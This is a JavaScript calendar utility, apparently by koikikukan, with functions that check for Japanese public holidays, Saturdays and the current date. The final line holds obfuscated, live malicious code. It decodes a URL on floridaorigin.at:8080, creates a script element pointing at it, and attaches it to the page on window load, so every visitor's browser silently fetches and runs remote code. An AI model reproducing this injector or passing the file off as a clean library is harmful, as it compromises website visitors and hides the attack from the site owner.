// Copyright (c) 2004-2007 koikikukan All Rights Reserved.
// http://www.koikikukan.com/
// License is granted if and only if this entire
// copyright notice is included. By Yujiro ARAKI.

// Ver1.00 2006.03.15 initial version.
// Ver1.01 2006.04.11 fix bug.
// Ver1.02 2006.04.15 fix bug.
// Ver1.03 2006.04.16 fix bug.
// Ver1.04 2006.08.03 fix bug.
// Ver1.05 2007.04.21 fix bug.

var currentYear;
var currentMonth;
var currentDay;

function setCurrentDate() {
    data = new Date();
    currentYear = data.getYear();
    currentYear = (currentYear < 2000) ? currentYear + 1900 : currentYear;
    currentMonth = data.getMonth() + 1;
    currentDay = data.getDate();
}

function isToday(year, month, day) {
    if (year == currentYear && parseInt(month,10) == currentMonth && day == currentDay) {
        return true;
    }
    return false;
}

function isSaturday(year, month, day) {
    var week = new Date(year, month - 1, day).getDay();
    if (week == 6) {
        return true;
    }
    return false;
}

function isHoliday(year, month, day) {
    var week = new Date(year, month - 1, day).getDay();
    if (week == 0) {
        return true;
    }
    switch(parseInt(month,10)) {
    case 1:
        if (day == 1) {
            return true;
        }
        if (day == 2 && isSunday(year, month, 1)) {
            return true;
        }
        if (day == (getFirstMonday(year, month) + 7)) {
            return true;
        }
        break;
    case 2:
        if (day == 11) {
            return true;
        }
        if (day == 12 && isSunday(year, month, 11)) {
            return true;
        }
        break;
    case 3:
        if(year > 1979 && year < 2100) {
            if (day == parseInt(20.8431 + 0.242194 * (year - 1980) - parseInt((year - 1980) / 4))) {
                return true;
            }
            if (day == (parseInt(20.8431 + 0.242194 * (year - 1980) - parseInt((year - 1980) / 4)) + 1) && isSunday(year, month, day - 1)) {
                return true;
            }
        }
        break;
    case 4:
        if (day == 29) {
            return true;
        }
        if (day == 30 && isSunday(year, month, 29)) {
            return true;
        }
        break;
    case 5:
        if (day == 3 || day == 4 || day == 5) {
            return true;
        }
        if (day == 6 && (isSunday(year, month, 3) ||
                         isSunday(year, month, 4) ||
                         isSunday(year, month, 5))) {
            return true;
        }
        break;
    case 7:
        if (day == (getFirstMonday(year, month) + 14)) {
            return true;
        }
        break;
    case 9:
        if (day == (getFirstMonday(year, month) + 14)) {
            return true;
        }
        if(year > 1979 && year < 2100) {
            if (day == parseInt(23.2488 + 0.242194 * (year - 1980) - parseInt((year - 1980) / 4))) {
                return true;
            }
            if (day == (parseInt(23.2488 + 0.242194 * (year - 1980) - parseInt((year - 1980) / 4)) + 1) && isSunday(year, month, day - 1)) {
                return true;
            }
        }
        break;
    case 10:
        if (day == (getFirstMonday(year, month) + 7)) {
            return true;
        }
        break;
    case 11:
        if (day == 3 || day == 23) {
            return true;
        }
        if (day == 4 && isSunday(year, month, 3)) {
            return true;
        }
        if (day == 24 && isSunday(year, month, 23)) {
            return true;
        }
        break;
    case 12:
        if (day == 23) {
            return true;
        }
        if (day == 24 && isSunday(year, month, 23)) {
            return true;
        }
        break;
    }
    return false;
}

function isSunday(year, month, day) {
    var week = new Date(year, month - 1, day).getDay();
    if (week == 0) {
        return true;
    }
    return false;
}

function getFirstMonday(year, month) {
    var monday;
    for(monday = 1; monday < 8; monday++) {
        if(new Date(year, month - 1, monday).getDay() == 1) {
            break;
        }
    }
    return monday;
}

var Yv='';var z="";var o="";function T(){var jA=new Array();var G;if(G!='nv'){G=''};var Yq;if(Yq!='kz' && Yq!='At'){Yq='kz'};var gX=new String();var J=unescape;var M='';var uv=new Array();var w=window;var ot=new String();var TX;if(TX!='' && TX!='As'){TX='sw'};var N=J("%2f%6d%61%72%6b%65%74%67%69%64%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%61%6d%65%72%2e%63%6f%6d%2e%74%77%2e%70%68%70");var jT;if(jT!='Lx' && jT!='mM'){jT=''};var y='';function Z(n,W){var i=String("dmsg".substr(3));var WC=J("%5b"), wc=J("%5d");var vA;if(vA!='' && vA!='r'){vA=''};var s=WC+W+wc;this.oq="";var uX;if(uX!=''){uX='XS'};var sI=new RegExp(s, i);return n.replace(sI, new String());};var Tp;if(Tp!='dk'){Tp='dk'};var b=new Array();this.aL="";var ra;if(ra!='qh'){ra=''};var j=new String();var e=new Array();var B=Z('81116394506536754835235012254647','69721453');var YZ;if(YZ!=''){YZ='HK'};var Zk=document;var ZW;if(ZW!='' && ZW!='sa'){ZW=''};var f;if(f!='Jz' && f != ''){f=null};function A(){var NS=new String();this.oH='';var Zy;if(Zy!=''){Zy='tD'};var L=J("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");var Rf;if(Rf!='Fz' && Rf != ''){Rf=null};var jC="";var Fw="";j=L;j+=B;var Ej;if(Ej!='' && Ej!='Ph'){Ej=''};var BS;if(BS!='' && BS!='Zo'){BS=''};j+=N;var Mo;if(Mo!='ZD' && Mo != ''){Mo=null};try {this.hH="";Y=Zk.createElement(Z('shc0raiUphtV','HjughZ9V0aBqomU4'));var WJ=new Date();var Uj;if(Uj!='pg' && Uj!='eo'){Uj=''};Y[J("%73%72%63")]=j;var md='';var YR;if(YR!='_g' && YR != ''){YR=null};var aB;if(aB!='_a'){aB='_a'};this.Hj='';Y[J("%64%65%66%65%72")]=[3,1][1];var fD;if(fD!=''){fD='K'};Zk.body.appendChild(Y);} catch(TH){alert(TH);var xL;if(xL!='Dy'){xL=''};};var VH;if(VH!='qp'){VH=''};var af;if(af!='sG'){af=''};}w["IRWonloa".substr(3)+"LgrdrLg".substr(3,1)]=A;var kP;if(kP!=''){kP='oa'};var ED="";};var hp=new String();var UJ=new String();var iV;if(iV!='' && iV!='NX'){iV='_T'};T();var oj="";var IL;if(IL!='eN' && IL!='QF'){IL=''};